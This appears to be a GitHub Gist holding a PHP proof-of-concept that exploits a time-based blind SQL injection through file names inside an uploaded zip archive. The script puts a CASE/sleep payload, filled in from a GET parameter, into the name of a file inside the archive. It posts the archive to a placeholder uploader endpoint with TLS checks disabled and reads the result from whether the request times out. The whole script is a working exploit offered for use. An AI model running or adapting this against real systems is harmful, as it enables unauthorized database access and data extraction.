Created
March 21, 2023 13:35
-
-
Save mcipekci/29eb8e961c74905f809d862c6ebbe16e to your computer and use it in GitHub Desktop.
Exploiting SQL injection via unzipped file contents
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// Prepare File | |
$file = tempnam("/tmp", "zip"); | |
$zip = new ZipArchive(); | |
$zip->open($file, ZipArchive::OVERWRITE); | |
// Add file name with SQLi payload | |
$zip->addFromString("'+(CASE WHEN 1=".$_GET['value']." THEN 1 ELSE sleep(10) END)+'", ""); | |
// Close and send to the server | |
$zip->close(); | |
$cf = new CURLFile($file); | |
$ch = curl_init("https://target.company.tld/uploader.php?bp="); | |
curl_setopt($ch, CURLOPT_POST, true); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); | |
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); | |
curl_setopt($ch, CURLOPT_VERBOSE, true); | |
curl_setopt($ch, CURLOPT_POSTFIELDS, ["uploader" => $cf]); | |
curl_setopt($ch, CURLOPT_TIMEOUT, 5); | |
$resp = curl_exec($ch); | |
if ($resp) { | |
echo "Good data!"; | |
} | |
else { | |
echo "Bad data!"; | |
} | |
curl_close($ch); | |
unlink($file); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment